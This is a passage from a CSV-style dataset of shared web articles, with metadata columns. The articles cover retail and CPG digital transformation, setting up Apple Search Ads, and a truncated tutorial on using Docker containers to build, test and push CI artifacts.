customers alike, provide the technology required to outpace the competition, and leverage intelligence for the development of innovative products, solutions, and processes that move companies into the future.",en
1475156273,CONTENT SHARED,2255878226385826814,8420481937548705787,-8702267566326112469,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://econsultancy.com/blog/68216-six-iconic-retailers-and-their-digital-transformation-journeys/,Six iconic retailers and their digital transformation journeys,"What better way to find out than by looking at six icons of retail, three from the US (Macy's, Walmart, Walgreens) and three from the UK (John Lewis, Marks & Spencer, and Boots). Here are their digital transformation journeys, as they fight to compete with online and agile competitors. 1. Macy's We have to start with Macy's, a retailer that is closing 100 of its 728 stores by early 2017, and in August announced a 5.7% decrease in year-to-date sales. The press release that says as such is probably the best document for describing the state of retail in 2016, and the impact of ecommerce. Here are the key points to note: Destination retail ""Macy's will operate fewer stores and concentrate its financial resources and talent on our better-performing locations to elevate their status as preferred shopping destinations. ""Stores will remain critical customer touchpoints for Macy's, along with online shopping and mobile apps, as omnichannel retailing continues to evolve."" Not all stores are created equal. Look at the two examples below. The second store pictured is part of a mall, which aren't as popular as they once were, with new fast-fashion competitors from overseas prioritising high-street, flagship style stores. Macy's recognises that with online shopping maturing, customers need more reasons to visit a physical store. Boring real estate won't cut it. This is part of a change across retail, where stores must offer a rich experience to compete. Experiential retail That rich experience I mention is flagged up prominently in the Macy's store-closure press release: ""...increasing the size and quality of staffing through programs such as My Stylist personal shopping services, infusing new technology, accentuating high-potential businesses such as fine jewelry, and creating new in-store events and experiences."" There you go, more reasons to visit. Without them, customers will simply shop online more often. Investing in web, app and click-and-collect The Macy's website and mobile website (m.macys) are perfectly okay. I had a whizz through both and found no difficulty in finding an item and adding it to basket, then checking out. However, neither is up to the standard of some of Macy's competitors. For example, there could be much more product imagery (and video), a mobile menu that's easier to use and everything could be quicker and with a cleaner design. Macy's addresses this in its strategy for 2016/2017: ""To foster continuation of [double digit] growth [online], the company is investing in capacity-building on its sites and apps, improvement in natural language search, faster page loading and simpler procedures for placing and fulfilling orders. ""Macy's and Bloomingdale's successful Buy Online Pickup in Store offering, introduced in 2013, is being refined to improve speed and convenience of the customer experience."" 2. John Lewis The multichannel sales mix 2015 sales figures are an eloquent summary of the changes happening at John Lewis. Sales at stores were down 0.1% but online sales were up 17.3%. Online now accounts for a third of all sales. Sales via mobile & tablet grew 34% in 2015; smartphone sales in isolation growing by a staggering 86%. Looking at the Christmas trading period, the nature of evolving multichannel retail becomes clear. Footfall was down but online sales grew 21.4% (31% growth in tablet and mobile) and click-and-collect was up 16%, accounting for around half of online orders. Overall this meant Christmas 2015 sales were up 5.1%, despite the aforementioned lack of footfall. Looking at these types of patterns, it's easy to see why retailers like Macy's are closing stores that don't represent attractive shopping destinations. The impact of TV and social media Christmas is probably what John Lewis is best known for (at least lately). The fact that Christmas 2015 was a story of online success is testament to the retailer's strategy of big creative and social media. Though some think such spend on creative is risky , the annual John Lewis Christmas ad of course continues to makes a significant impact via TV, but is also phenomenally successful on social media. This combined reach has so far kept John Lewis front of mind when online shoppers are deciding where to go for their click-and-collect purchases at Christmas. The mobile boom John Lewis' online product director, Sienne Veit, told Marketing Week earlier this year of the impact mobile is having on the company's fashion division in particular. ""56% of orders for fashion are now on mobile at the company and mobile is now the first point of interest even if the purchase is made elsewhere,"" she revealed. John Lewis has been investing in its mobile web and mobile app experiences for some time and regularly tops polls of mobile-friendly online retailers. Sienne Veit also highlights that app customers are the most loyal, with on average nine visits per user to the IOS app over a 12-week period, compared to 2.1 visits per user on mobile web. Loyalty can, of course, be a mobile UX bête noire - by which I mean, a digital replacement for the loyalty card has proved difficult to master for many, outside of the food and drink sector. John Lewis is playing a waiting game here, too, since adding loyalty functionality to its app in August 2015. Chris Bate, Head of Customer Marketing, told Marketing Week that: ""Loyalty is heading [towards digital] but it will take time to become mass market."" We are appealing to early adopters and with an active marketing plan we'll get more people although it will take time to wean some people off the plastic cards. But undoubtedly, advancements in this area are welcome, with in-store purchases tied up to a customer's online account when the mobile loyalty functionality is used. The loyalty scheme (across digital and physical card) had 1.6m members in September 2015, with 1.5m extra purchases made over the scheme's two-year history. This shows that loyalty is an area retailers cannot dismiss. A John Lewis loyalty card on mobile International expansion Online international sales increased by 50% in 2015, with interntional traffic up by 15%. John Lewis now delivers to 40 countries through its website, with payment possible in 10 different currencies. The startup incubator JLab is John Lewis' own incubator scheme and it has also invested in TrueStart, alongside other retailers. The first graduate of JLab (a digital peephole for doors) wasn't exactly a gamechanger for retail, nevertheless John Lewis is taking the lead in this area of startup/corporate cross-culture and fruit may yet be borne. Multichannel growing pains Of course, it's not all good news for John Lewis. There have been relatively high-profile growing pains with its multichannel offering. Both its outsourced customer management (call centres run by Capita) and its smaller-item delivery (by myHermes) have been subject of much criticism. This shows the difficulty when integrating infrastructure, with view of stock and customer history particularly tricky across warehouse/online and store. 3. Walmart There have been thousands of articles written about Walmart's attempts to fight back in the face of declining growth. 2015 was the first year out of 45 as a public company that Walmart made less money than the year before. The chart below from Bloomberg shows change in annual revenue (-0.7% in 2015). As Bloomberg details, this decline in revenue over 2015 can be partly explained by closure of Express stores and declining gas sales (as prices fell). Over the same period, Walmart unveiled new stores (400), remodelled many more and revamped parts of its ecommerce infrastructure. Looking at second quarter sales for 2016, this appears to have had an impact. Revenue is up 0.5% year-on-year, sales at established stores are up and footfall is up. This store remodelling and an increase in minimum wage aimed to improve customer service have done their trick. So what's the big deal? Walmart still accounts for a tenth of all US retail sales, but it is the growth of Amazon that is of concern. Amazon saw 20% growth last year, accumulating $107bn in annual online sales. Walmart's online growth in 2015 was 12%, up to $13.7bn. The Jet purchase - changing online shopping? Walmart's latest advance on Amazon has been its $3.3bn purchase of Jet.com. It's not dissimilar to Amazon - it sells a wide variety of goods ranging from groceries and household products to tech and toys. In a recent article about the acquisition on Econsultancy, Nikki Gilliland details the unique features of Jet.com: ""...one of its most distinct features is its real-time pricing algorithm which offers customers lower prices if they add more items to their basket. Likewise, it gives extra discounts if a customer forfeits the right to return an item. ""Nicely aligned with Walmart's position as a low-price, bulk-buy retailer, Jet will also help Walmart streamline its delivery and online logistics. The algorithm identifies vendors closest to the consumer to help minimise shipping costs."" Nikki goes on to suggest that these features, once integrated into the Walmart ecommerce experience, may fundamentally change the way shoppers look for bargains online via Walmart. The website would offer a USP in line with the brand. Fewer and larger orders would replace impulse purchases. Uber delivery tie-up In June of this year, Walmart announced it would be trialling partnerships with Uber and Lyft in Denver. Walmart customers would pay the standard delivery charge and be able to choose a same-day slot. This is a direct response to the pressure for improved delivery that Amazon is putting on almost every market, even groceries after the launch of Amazon Fresh. The app experience (including Walmart Pay) Walmart's ecommerce app also looks to increase customer loyalty and engagement in-store. The app has 22m monthly active users and is one of the most impressive in the market. Neil Ashe, head of ecommerce at Walmart, told the FT that of almost half of online orders in 2015 were in-app, a 100% increase on 2014. The recently-launched Walmart Pay is incorporated into the app, allowing payment in store using a QR system at the till, similar to Starbucks. This foray into mobile payment as well as loyalty is a bold move, with the retailer unwilling to implement Apple Pay or Android Pay, presumably because of uncertainty in the mobile payment space, and the urge to own the entire experience. The Walmart app 4. Marks & Spencer Marks & Spencer is the classic British clothing retailer that has wilted under the pressure of fast fashion from the likes of Primark and Topshop. Whilst the company's food business is doing well, clothing sales declined for 14 consecutive quarters before seeing some growth in Q2 of 2015. Recent results in July 2016 have seen an 8.9% fall for the quarter, the biggest drop in 10 years, in the midst of an overall fall in the clothing market in Britain. Digital has been one weapon in M&S's attempts to improve clothing sales. We looked at the retailer's digital transformation efforts back in 2014. Website replatforming pains Website sales were up 23.4% in the year to March 2016. M&S had well publicised difficulties with its new website in 2014, part of a £150m investment in digital, but the retailer's approach of combining content and commerce online is sound. Marks is in a good place to succeed with its improved infrastructure. Next-day collect-in-store is offered, as is return-to-store, and stock-level indication is given on the website. Attribution of online sales to stores where they are picked up is one notable strategy of a progressive multichannel retailer. One agency to rule them all M&S has awarded Grey London its creative account, meaning Grey is in charge of both advertising and digital strategy at M&S. This is a first for the retailer, and seems promising from a multichannel point of view. Having one agency in charge of TV and OOH adverts, media buying and online marketing is surely a route to more coherent and impactful campaigns, online and off. A new focus on customer experience M&S's current strategy is 'putting the customer at the heart'. Expanding on what this actually means , the company details many customer experience improvements that aren't necessarily digital, but all make stores more attractive in the face of increased competition (some of it online). More staff on higher wages will improve customer service, and clearer ranges with better availability will prevent disappointing sellouts of popular items. However, it remains to be seen how fewer sales will be received by the customer. It has helped re-establish margins and increase revenue in the past, but is surely dependant on an improvement in product range. Overall, Marks & Spencer is perhaps the most interesting retailer on this list - its brand is still strong and it has not fallen behind as far as new ecommerce and digital tech is concerned. But it is still seeking a differentiator on product (something that department stores like John Lewis have to worry less about). 5. Walgreens Walgreens is a pharmacy (as is Boots, part of the same group, which we look at below), so including it in a piece on retail transformation is a bit tricky as this market is very different. However, Walgreens retails, too. Retail sales in 2015 were up 1.9% year-on-year and though the pharmacy market has seen consolidation, it is likely to grow as the population gets older. Walgreens has excelled at innovating the customer experience, often through digital initiatives, and this makes it a useful comparison for the department stores discussed above. To understand the impact that online has had on Walgreens, one need only look at some widely reported stats from 2015, with the company claiming 48% of digital visitors would visit a store as their next action. Those customers interacting with Walgreens online and in store spend 350% more than solely in-store customers. Adding digital revenue streams Quick Prints is the perfect example of a retailer adding a revenue stream that is mobile-first and also drives visitors to store. Using the Walgreens app, users can select photos to print from either their camera roll or their social media photo albums. The printed photos can be picked up in an hour, with the app allowing customers to choose their most convenient store. With Walgreens operating c.8,000 stores, this kind of 'buy online/mobile, collect in store' service works well, and the retail pharmacy is attributing mobile sales to individual stores, in a bid to encourage multichannel customer service. The value of mobile To build on the aforementioned stat about the value of multichannel customers to Walgreens, those who visit in store, via web and mobile typically spend 600% more than store-only visitors. The Walgreens app is a big success store for in-store use, too, accounting for fully 50% of the multifunctional app's usage. Some features include: Personalised coupons redeemable in app (that 'learn' as you spend). Connecting the rewards programme with your fitness apps, to earn points for a healthy lifestyle. Refill by Scan - a barcode scanner that allows users to scan their medicine and automatically order a refill. Omnichannel service Other digital services outside of the mobile channel include email & text reminders to refill or take medicine (shown to produce a 2% increase in adherence), Pharmacy Chat (a webchat facility to ask your local pharmacist a question), and a virtual doctor service that allows video-chat consultations. What all these services show is how well-suited a retail pharmacy is to digital technology. The use cases for digital and mobile are numerous. As adoption of these services increases and Walgreens further refines the customer experience, there is the potential to dramatically change the business. One only need look at the number of active Balance Reward (loyalty card) members, currently 85m, to see the possible future uptake of mobile among the customer base. 6. Boots I did think about profiling Burberry, a revered British fashion retailer that is reaping the dividends of linking catwalk to high street using social media. But, I've gone with Boots instead, to provide a UK counterpoint to Walgreens. Boots is a pharmacy founded in 1849 in Nottingham, England. At the end of 2014 it became a subsidiary of Walgreens Boots Alliance, but it still bears further investigation here as a retailer undergoing change. Preparing for omnichannel In June 2015, Boots announced 700 jobs would be cut, many at head office. It was reported at the time that some of these roles would be cut by retraining in digital sales. There was also an emphasis on improving order-and-collect services, which now allow customers to order until 8pm and collect the next day after 12pm. Further investment in digital occurred in spring 2016, when BT began overhauling in-store IT infrastructure, preparing the systems for better integration with online technologies. Part of this is improving WiFi across all stores, a key element of improving use of mobile in-store. The past two years have seen Boots move from so-called 'point solutions' (projects designed to fix a problem and be rolled out quickly, but without proper integration) to be in a better position to provide omnichannel retail. This emerging digital strategy has necessitated a change in structure, with centralised digital expertise evolving into a more hub and spoke model. Digital services that add value Boots has worked with IBM to launch SalesAssist in every store across the UK in June this year. The app is designed to improve customer service, letting staff help customers through a slick interface that provides product and stock details, as well as reviews and ingredients. Boots, with its perfume and makeup concessions, wide range of healthcare products and electronics is in a unique position to improve with this type of assisted selling. Customers may want to understand how products work, what the alternatives are, how they compare, and whether they can get them shipped to their home. Rather than simply referring customers to 'the website', Boots staff can make use of this improved functionality to directly drive sales, either online or in-store. Away from store, Boots offers an online service called Beautiful You, which offers personalised skincare advice. This approach to improving product information by providing content-rich experiences is designed to help loyal customers, in whatever channel they are in (online, in-store, or on mobile via relevant offers). The Boots mobile app, similar to Walgreens, allows for photo print and collect, appointment booking, and online shopping, too. Boots is only halfway along its journey of digital transformation - expect to see more innovation as new tech beds in, with the pharmacy mirroring Walgreens in its pursuit of new revenue, multichannel sales and greater loyalty. The Festival of Marketing, October 5-6 in London, includes speakers from Marks & Spencer, Walmart, Boots and John Lewis. Book your tickets now .",en
1475156492,CONTENT SHARED,-5458316826145145813,8420481937548705787,-8702267566326112469,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://retail.economictimes.indiatimes.com/re-tales/the-future-of-traditional-retail-is-digital/1829,The future of traditional retail is digital,"The need for digital immediacy has never been greater. The digital landscape is in a state of rapid transformation in India, especially in traditional retail. The retail stores we know today are undergoing significant makeover. These retailers, as consumers of technology themselves (on tablets and mobile phones) are very easily adopting technology to attract footfalls and increasing basket sizes. According to Amdocs Customer Experience Spotlight 2016, digital channels are progressively becoming the desired choice for Indian consumers to find information for and order products and services. However, they still prefer visiting a neighborhood retail store to receive fast and immediate service. Both brands and retailers are on a look out for newer ways to use digital means for enhanced shopper engagement, both inside and outside store. New technologies are also enabling traditional retailers change brick and mortar store operations, giving them greater flexibility and efficiency. By utilizing digital technology, traditional retailers can now transforming shopping into a comprehensive, enjoyable experience while offering more value added services. They can offer discount coupons, display merchandise effectively and run their own loyalty programs. They can automate inventory management, credit management and other in store operations cheaper than ever before. Brands are partnering with these retailers to access relevant business information like their inventory status and their relative performance vs competition. All of this helps brands micromanage their business in clusters that never existed before and improve supply chain efficiencies. Technology transforming landscape So how does embracing technology help traditional retailers and brands transform shopper engagement and improve efficiency of business ? Technology helps with a direct engagement with shoppers in the entire shopper purchase cycle - driving them towards the store, giving abundant and more so a relevant information on in-store products/ offers, and helping to close sales. Once in store, advanced technology might be at work in more ways than one. Mentioned below are a few examples of it precisely works: Point-of-Sale (PoS) machine: In store PoS are going through a phenomenal transformation. Its just not a billing machine anymore. While the presence of a clean bill (with MRP's, taxes and savings shown) cannot be undermined, with a new age PoS, brands and retailers can cross sell to shoppers products that are relevant to them, based on their current and previous purchase. They can use this machine to send relevant offers/ promotions to consumer's phones using SMS and other means. These cloud connected PoS helps brands track their performance and penetration in consumer baskets, understand shopper behavior like never before. And all of this is real time. Display Technology: Digital displays helps get shopper attention. Digital signage's enhances shopper experience because it informs them of assortment and promos in store and drives impulse purchase. In a dark and poorly lit traditional store environment, the bright screen serves a brilliant purpose of visual disruption. It's also low on energy consumption and makes a great choice to display brand's message. Contextual engagement: One can receive customized brand offers and promotions contextual to what they buy. It can be executed on bills, SMS or even a in-store device which shoppers can play with while being in store. Omni channel presence In today's environment, it's not enough to deliver a great online experience; one has to strive to give the shopper a reason to come to the store and explore it thoroughly. It is important to blend the physical and digital worlds to create personalized, ongoing dialogues with consumers. The standard expectation of every traditional retail experience is to deliver personalized experience catering to consumer tastes. The aim always is to use methods via digital world to enhance that experience of shopping. This harmonious blend of the physical and digital world helps nurture the relationship between brands, retailers and consumers. It is a truly exciting time to be a traditional retailer as they seek to capitalize on the massive changes in consumer behavior driven by mobile devices and digital technology. Traditional retailers infusing digital features into the store environment compete more effectively with their online counterparts. What happens when technology is placed at the center of this ecosystem? They deliver a more complete shopping experience. The brands, on the other hand, that offer cohesive, personalized experiences with every interaction will be rewarded. The next level of evolution will perhaps be brand switch driven by real time shopper analysis. While technology has always known to create transparent communication mechanism, this one will also change the dynamics of traditional retail. Technology will now play the perfect brainchild to this puzzle. DISCLAIMER: The views expressed are solely of the author and ETRetail.com do not necessarily subscribe to it. ETRetail.com shall not be responsible for any damage caused to any person/organisation directly or indirectly.",en
1475156571,CONTENT SHARED,5395868751435718725,8420481937548705787,-8702267566326112469,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/09/28/large-cpgs-are-under-attack-by-startups-and-consumers-are-winning/,Large CPGs are under attack by startups... and consumers are winning,"Consumer packaged goods are big business - valued at more than $2 trillion - with much of that market share dominated by CPG powerhouses like Unilever, P&G and Nestlé. These CPG leaders know a lot about packaged goods - a lot about how to manufacture and market and sell at scale. But, as is becoming more and more apparent, they don't really know very much at all about their customers. And this is proving to be a problem. The issue is built into the category: The large CPG companies don't sell directly to their consumers. They sell to retailers like Walmart, who then sell to consumers. So the CPG giants miss the whole direct-to-consumer relationship. They have no access to - or insight into - the people who actually buy and use their products. And now they're under attack by a new breed of digitally native, vertically integrated startups that are reinventing what it means to buy everything - from razor blades to toothbrushes to mattresses. Bonobos , Warby Parker , Birchbox , Harry's , Casper ... the list goes on. These guys are keenly interested in establishing smart relationships with their customers, and they are establishing flexible, recurring revenue-based business models to make it happen. In this new environment, it's getting harder for CPGs to grow as they've traditionally done. Look at P&G (owner of the Gillette razor brand) which lost 12 percent share of the men's razor and blade industry last year, while upstart direct-to-consumer razor startup Dollar Shave Club claimed 5 percent of the market. The big vendors can try to buy their way out of the problem - much like how Unilever eventually bought Dollar Shave Club . But in order to stay relevant, they're going to have to embrace digital transformation and incorporate direct-to-consumer strategies into their own business model. Here are seven strategies that leading CPGs can - and must - adopt to better engage with consumers in the digital age. E-commerce. As recently as 2013, only about 3 percent of non-food consumer packaged goods was purchased through online sales. But online sale of consumer packaged goods is starting to pick up, and the CPG powerhouses are getting on board. In the 2014 Customer Channel Management Survey from McKinsey, which surveyed 50+ CPG leaders, e-commerce was ""ranked as the second leading driver of change over the next five years."" The potential for CPG online sales is only going to grow as e-commerce giants like Amazon increase their focus on the sale of groceries and personal care products with Amazon Pantry. In addition, CPGs can explore distribution to niche online retailers like Ulta or Drugstore.com, as well as individual brands selling direct to consumers online. Social. Leading CPG companies are used to selling their consumer goods through the middleman of retail partners and rely heavily on in-store marketing to propel their brands. Startups, without the deep pockets of these CPG powerhouses, must look elsewhere to create their brands. Consumers have changed - and the consumer packaged goods industry needs to respond. Social is the solution. People have always looked to their networks for trusted recommendations, but now this old-school practice has met the digital age as consumers look to their online social networks for product suggestions. Companies can use social platforms to spread the word and build their brands, while capitalizing on accessible platforms like YouTube to generate buzz. For example, Dollar Shave Club led a master class in social with their hilarious 2012 YouTube video introducing their brand: ""our blades are f**king great."" Just six hours after release, their entire inventory sold out and the video has gone on to garner over 4.75 million views. When done well, social is an effective (and inexpensive) way to connect directly with consumers to create accessible, and sought-after, brands. Digital first. Brick-and-mortar retailers used to be paranoid about people coming into their stores and then finding cheaper things online. Now people are doing online research and using retail stores as showrooms. The digital influence has flipped the script. Smart companies are using digital to create a brand, and a brand experience, rather than push products. For example, look at a company like Casper, which doesn't promote itself as merely a mattress company, but rather a digital-first brand focused around the concept of sleep. Subscriptions. The CPG industry is made up of products that people are always going to need, and that frequently need to be replaced. You know what this sounds like? An industry ready to be subscriptionized! A subscription model isn't just about the recurring revenue derived from repeat purchases; it's a key to developing ongoing relationships. When your consumer becomes a subscriber, that establishes a relationship - and that foundation is one that businesses can build on and monetize. Niche focus. We've seen CPG leaders cutting smaller brands and not seeking out new brands as they instead focus their efforts on a small number of core brands. For example, P&G announced last year that they were planning on divesting about 100 ""non-core"" brands in favor of honing their focus on 70 choice brands. But consumers don't care about ""distribution efficiency"" for CPG companies. They care about getting the products they need, when they need them. Consumers don't want less choice and mass-produced products. They want convenience, accessibility and an improved consumer experience. This is why companies like oral care product Hello are making their mark with their niche products, quirky flavors and a personable approach to consumers. In-store technology. As consumers demand ever-improved shopping experiences (and the best deals), many retailers are looking to technology to enhance the consumer experience. This includes more prosaic options like price-checking stands, but it's also transformative technology like Sephora 's Fragrance IQ , an interactive kiosk that uses tech to provide consumers with customized fragrance recommendations. And it's also beacon technology: hardware that sends push notifications to targeted consumers. This means that RiteAid can send you discount coupons as soon as you enter the store. Internet of Things. We're just starting to see the potential of IoT, but already we can see that it poses a huge opportunity for CPG companies. As connected devices become more popular, they're going to completely cut out the middleman, with washing machines ordering more detergent when they're running low, or refrigerators placing a milk order. In short, consumers have changed - and the consumer packaged goods industry needs to respond. The leading CPG Goliaths may not yet be fearing the advancing Davids, but they should be watching. The share shift to these direct-to-consumer brands is gaining momentum, and these upstart brands are collectively leading a movement. If the CPG giants can ride the wave of digital transformation and adapt to the Subscription Economy, they will continue to drive growth while putting the ""Consumer"" back into ""Consumer Packaged Goods."" Featured Image: ferlistockphoto/Getty Images",en
1475157165,CONTENT SHARED,1797385737206265555,8420481937548705787,-8702267566326112469,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/breaking-apples-search-ads-go-live-paul-malicki,Breaking: Apple's Search Ads go LIVE!,"""Simplicity, relevance, results"": these are the unique selling points of the just launched Search Ads, according to Apple. You can surely expect a lot of simplicity from anything made by Cupertino-based tech giant, but what about the other two? Remember that (infamous) ""Tweet Sponge"" image I posted a few months ago (below)? Will Apple really make their ads more relevant and trackable? Let's explore the available options. Is it really live? Like, really? Kind of. The App Store's Search Ads were officially launched to a wider public yesterday and you can now configure your very own campaign, like a boss. There is a big boomer, though. Or perhaps two: The Ads only target US territories and the storefronts are available exclusively in English (why am I even being so passionate about emerging markets). The ads will only start their broadcast on October 6. For now it's all ""on hold"" Summing up, the platform is live, the ads aren't. In any case, it's still worth spending a while putting up the ad groups and planning your long-awaited attack on the competition. After all, it will be all about who will outspend whom utilizing the smartest keyword combination. Your App Store experience is about to change forever. Gimme some hints, Paul At your service. Upon signing up to the platform, you will be welcomed by the Campaign setup page. Simply choose the app, name your campaign and set the budget. Here is where you can also select campaign-level negative keywords. In my personal case, I am targeting apps of other airlines to promote my executive aviation app, Flapper, so I definitely want to exclude keywords, such as ""entertainment"" or ""check-in"" to avoid users who aren't in the search mode for flights. As a next step, you have to select a proper bid and a target ""CPA"". Note that Apple mistakenly refers to CPI (cost per install) as ""cost per acquisition"", so to make folks believe they actually get new users, and not pure installs. Mobile wizards like me know how wrong this is, but instead I just politely shoot for a CPC (CPT?) bid of $0.50 and a target cost-per-install (acquisition?) of one dollar. I expect that App Store will now optimize my ads, so that I don't pay more than a dollar for each new download. It's time for the keyword game. Before you start, consider the following best practices for the keyword selection and campaign structuring: Use Apptweak or SensorTower to find out the best keyword. Apple's Search Popularity is a strong indicator of search volume, but not of the keyword difficulty. Create a granular Ad Group structure, with very few keywords under each ad set. You should also consider building individual ad groups for the most important keywords, as well as dividing them into different territories. Run A/B test: (1) with and without Search Match feature, (2) Broad match vs Narrow Match, (3) with and without negative keywords. The keyword suggestions seem to be directly correlated with the search term suggestions which iOS users encounter while browsing for apps. Try to run as many tests as possible to understand what works and what doesn't. Hats off to Apple for building a simple customer re-engagement targeting feature! You can now limit your ads to only new users or those who already have your app, so as to prevent competitive search spill off. Audience selector consists of Gender, Age, and Location. Here again, you should consider setting up multiple ad groups for different genders, locations, etc. As mentioned before, only the States are available for selection. Damn, Apple!!! Once set up, your ad will appear to all users searching for the selected keywords, as shown below: Now, on a positive note, Apple gives $100 in free credits to everybody who enrolls in the beta version of the Search Ads! Woop woop! I bet this will be a surprise to virtually any Apple customer. Let me count the times I got something for free from Apple (...) Tell me about the measurement Here is the deal: App Store only gives access to a simple analytics platform, useful for finding the best performing ad groups and the overall install volume, but nothing more than that. As of today, little is known about App Store's appetite for the real-life mobile attribution integration. In other words, the coming weeks will be full of uncertainty in terms of the exact performance of App Store ads. You'll know the installs, but the metrics such as LTV, retention, or simply optimization towards specific in-app events won't be available. There are a number of alternative methods you can test. And if you know of any better way to approach it, please comment below: --Data ""extrapolation"" and trends-- Simply limit your marketing spend during the launch-weight period and (or) try to estimate the impact of Search Ads alone. Measure the spikes / drops in retention, purchases, etc. using existing analytics tools. For example, if you now spend $20,000 on Search Ads and your retention metrics did not decrease, ceteris paribus, you are good to continue. --Match the click and install dates-- You can use the ""attribution API"" (what a hypocritical name) to 'attribute' the installs to Search Ads (see more: ). Looking at the SDK code I noticed the following two paramaters: ""iad-conversion-date"" = ""2016-06-14T17:18:07Z""; ""iad-click-date"" = ""2016-06-14T17:17:00Z""; Perhaps there would be a possibility to pull in the data about the exact conversion (install) time of the Search ad, to then compare it with the raw data of your attribution provider (Adjust, Appsflyer, etc.). They all have the raw stats available for the download. Of course the accuracy would diminish for larger apps (many downloas at within the same minute). --Run ads for one of your apps only-- In some cases, Apple allows (large) developers to publish two apps with the same name of purpose, usually at a premise of distinctive target territories. Why not try to run Search Ads for one of your apps, so as to better understand the exact impact? Games studios, in turn, might decide to run Search Ads extensively for a selected portfolio of their apps, so as to estimate the volume, and then scale up using the ""Have downloaded my other apps"" targeting features. I remain convinced that Apple will eventually realize that integrating a mobile attribution provider (Adjust, Appsflyer, Kochava, Tune) is the best way to go. I count on you, App Store Team! How to start? Interested in the Search Ads product? Just shoot me a message and I will set up a campaign for you. PS. See also my other article on the topic from a few months ago: ======= Paul Malicki is a passionate mobile marketing expert and an advisor to multiple startups. He is the angel investor and head of growth at Flapper and previously acted as a Global CMO of Easy (Easy Taxi), the world's largest taxi app. He recently published his first book on mobile, the Chief Mobile Officer's Guide to Growth, available exclusively at Amazon: LINK .",en
1475159500,CONTENT SHARED,5410293063635507608,-8020832670974472349,4319478661599559970,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://lostechies.com/gabrielschenker/2016/09/26/use-docker-to-build-test-and-push-your-artifacts/,"Use Docker to build, test and push your Artifacts","Sue is a software engineer at BetterSoft. She is in charge of starting a new project which includes building up the CI/CD pipeline for the new application her team will create. The company has established some standards and she knows she has to comply with those. The build server the company is using for all the products is a cloud based SaaS offering. The companys' DevOps team is responsible to manage the build server, specifically its build agents. The other teams in the company are using Maven to build artifacts. Preferably the build artifacts are Docker images and Sues' plan is use Docker too, to package and run the new application. While mostly leveraging the techniques used by other teams in their respective CI/CD pipelines Sue soon runs into some problems. Her build needs some special configuration of the build agent. Although the DevOps team is very friendly and helpful she has to file a ticket to get the task done, since DevOps is totally overbooked with work for other projects that have a higher priority in the company. After two days the ticket is finally addressed and closed and Sue can continue with her task. But while testing her build process, Sue stumbles across some other hurdles which requires a DevOps engineer to SSH into the build agent and manually solve the issue. Some files have been mysteriously locked and the CI server cannot remove them. Thus any further build is failing. Does this sound somewhat familiar to you? If yes, then I hope this post is going to give you some tools and patterns on how to get your independence back and fully own the whole CI/CD process end to end. I want to show you how the use of containers can reduce the friction and bring CI (and CD) to the next level. To read more of my posts about Docker please refer to this index . we have to specially configure our CI server and its build agents we are dependent on some assistance from Ops or DevOps we cannot easily scale our build agents builds can change the state of the build agent and negatively impact subsequent builds building locally on the developer machine is not identical to building on a build agent of the CI server etc. These days our build artifacts most probably will be Docker images. So, if we want to run our build inside a container we need to have the Docker CLI available in the container. If this is the only major requirement and we're only using some scripts for other build related tasks we can use the official Docker image. To get this image and cache it locally do docker pull docker To demonstrate how this is working we can now run an instance of the Docker image like this docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock docker /bin/bash and we'll find ourselves in a bash session inside the container. Note how we mount the Docker socket from the host into the container to get access to the Docker engine. We can then execute any Docker command the same way as we are doing it directly on the host, e.g. docker images Doing this we should see the list of all the Docker images in the cache of the host. Similarly we can build and run images from within our container that will live and be executed on the host. A sample run command could be docker run --rm -it busybox echo ""Hello World"" which will execute an instance of the busybox container image in the context of the host. Cool! That was easy enough, we might say ... so what? Well it is actually quite important because it really opens us the door to do some more advanced stuff. Build the Artifact Let's say we have a Python-Flask project that we want to build. You can find the code here . The Dockerfile looks like this From the root of the project execute this command docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock -v $(pwd):/app -w /app docker docker build -t myapi . This will build a Docker image called myapi . After the build is done the container is terminated and removed but our image is still around sitting in the cache of the Docker host. Now, building alone does not do the job. There are a few more tasks that we want to execute. Thus instead of running one command in a container at a time it is much better to run a whole script. Let's do this and create a new file called builder.sh in the root of the project. To this file we will add all our CI code. We also will want to make this file executable chmod +x ./builder.sh So, what's inside our builder.sh file? To start with we just add the docker build command docker build -t myapi . And then we can modify the above Docker command to look like this This will give us the very same result as before, but now we have the possibility to extend the builder.sh file without changing anything in the docker run command. Test the Artifact The first thing we normally want to do is to run some tests against our built artifact. This normally means to run an instance of the built container image and execute a special (test-) script in the container instead of the actual starting command. You might have noticed that I started to use variables in my script. This makes the whole thing more flexible as we will see further down. Tag and Push image Once we have successfully built and tested our artifact we are ready to push it to the repository. In this case I will use Docker hub. But before we can push an image we have to tag it. Let's add the following snippet to our builder.sh script Before we can push the images to the Docker Hub we need to authenticate/login. We can do that directly on our host using docker login and providing username and password . Docker will then store our credentials in $HOME/.docker.config.json . To use these credentials in the container we can map the folder $HOME/.docker to /root/.docker since inside the container we're executing as root. Thus our modified docker run command will look like this Finally after having taken care of the credentials we can push the images to the repository by adding this snippet to the builder.sh script and we're done. Generalizing for re-use Wouldn't it be nice if we could reuse this pattern for all our projects? Sure, we can do that. First we build our own builder image that will already contain the necessary builder script and add environment variables to the container that can be modified when running the container. The Dockerfile for our builder looks like this and the builder.sh looks like this We can now build this image docker build -t builder . To be able to not only use this image locally but also on the CI server we can tag and push the builder image to Docker Hub. In my case this would be achieved with the following commands Once this is done we can create add a file run.sh to our Python project which contains the overly long docker run command to build, test and push our artifact Note how I pass values for the 3 environment variables ACCOUNT , IMAGE and TAG to the container. They will be used by the builder.sh script. Once we have done this we can now use the exact same method to build, test and push the artifact on our CI server as we 